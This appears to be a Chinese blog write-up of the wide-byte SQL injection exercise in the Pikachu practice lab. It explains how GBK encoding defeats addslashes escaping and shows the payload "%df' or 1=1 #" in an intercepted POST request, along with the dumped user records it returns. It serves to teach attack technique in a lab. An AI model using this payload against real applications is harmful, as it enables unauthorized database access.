pikachu sql inject 宽字节注入

宽字节注入原理

什么是宽字节?

如果一个字符的大小是一个字节的,称为窄字节;
如果一个字符的大小是两个字节的,成为宽字节;

像GB2312、GBK、GB18030、BIG5、Shift_JIS等这些编码都是常说的宽字节,也就是只有两字节
英文默认占一个字节,中文占两个字节

什么是宽字节注入?

原理:宽字节注入发生的位置就是PHP发送请求到MYSQL时字符集使用character_set_client设置值进行了一次编码。在使用PHP连接MySQL的时候,当设置“character_set_client = gbk”时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入

宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字的范围)

GBK首字节对应0×81-0xFE,尾字节对应0×40-0xFE(除0×7F),例如%df和%5C会结合;GB2312是被GBK兼容的,它的高位范围是0xA1-0xF7,低位范围是0xA1-0xFE(0x5C不在该范围内),因此不能使用编码吃掉%5c

常见转义函数与配置:addslashes、mysql_real_escape_string、mysql_escape_string、php.ini中magic_quote_gpc的配置

具体原理:

通过前面的SQL注入实验可以发现,字符型的注入点我们都是用单引号来判断的,但是当遇到addslashes()时,单引号会被转义成 ’ ,导致我们用来判断注入点的单引号失效。
所以我们的目的就是使转义符 \ 失效、使单引号逃逸。

我们的payload的是%df ',其原理是当MySQL在使用GBK编码的时候,会认为两个字符是一个繁体汉字,然后让我们的单引号%27成功逃逸:

' -> \'              => %5C%27
%df' -> %d\'  => %df%5C%27

回到题目,输入

1%df' or 1=1 #

发现还是不行,通过burpsuite进行拦截,发现这里对语句进行了urlencode,对后面接受数据会有一点影响,这里我们拦截包,并修改包,原样语句输出

POST /vul/sqli/sqli_widebyte.php HTTP/1.1
Host: 192.168.1.9:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Origin: http://192.168.1.9:8080
Connection: close
Referer: http://192.168.1.9:8080/vul/sqli/sqli_widebyte.php
Cookie: security=high; PHPSESSID=fftr9buiig10nl6bda5f22li59
Upgrade-Insecure-Requests: 1

name=root %df' or 1=1 #&submit=%E6%9F%A5%E8%AF%A2

在响应报文中就可以看见所有的数据了


<div id="sqli_main">
                <p class="sqli_title">what's your username?</p>
                <form method="post">
                    <input class="sqli_in" type="text" name="name" />
                    <input class="sqli_submit" type="submit" name="submit" value="查询" />
                </form>
                <p class='notice'>your uid:1 <br />your email is: vince@pikachu.com</p>
                <p class='notice'>your uid:2 <br />your email is: allen@pikachu.com</p>
                <p class='notice'>your uid:3 <br />your email is: kobe@pikachu.com</p>
                <p class='notice'>your uid:4 <br />your email is: grady@pikachu.com</p>
                <p class='notice'>your uid:5 <br />your email is: kevin@pikachu.com</p>
                <p class='notice'>your uid:6 <br />your email is: lucy@pikachu.com</p>
                <p class='notice'>your uid:7 <br />your email is: lili@pikachu.com</p>
                <p class='notice'>your uid:25 <br />
posted @ 2022-10-29 22:47  明月照江江  阅读(355)  评论(0编辑  收藏  举报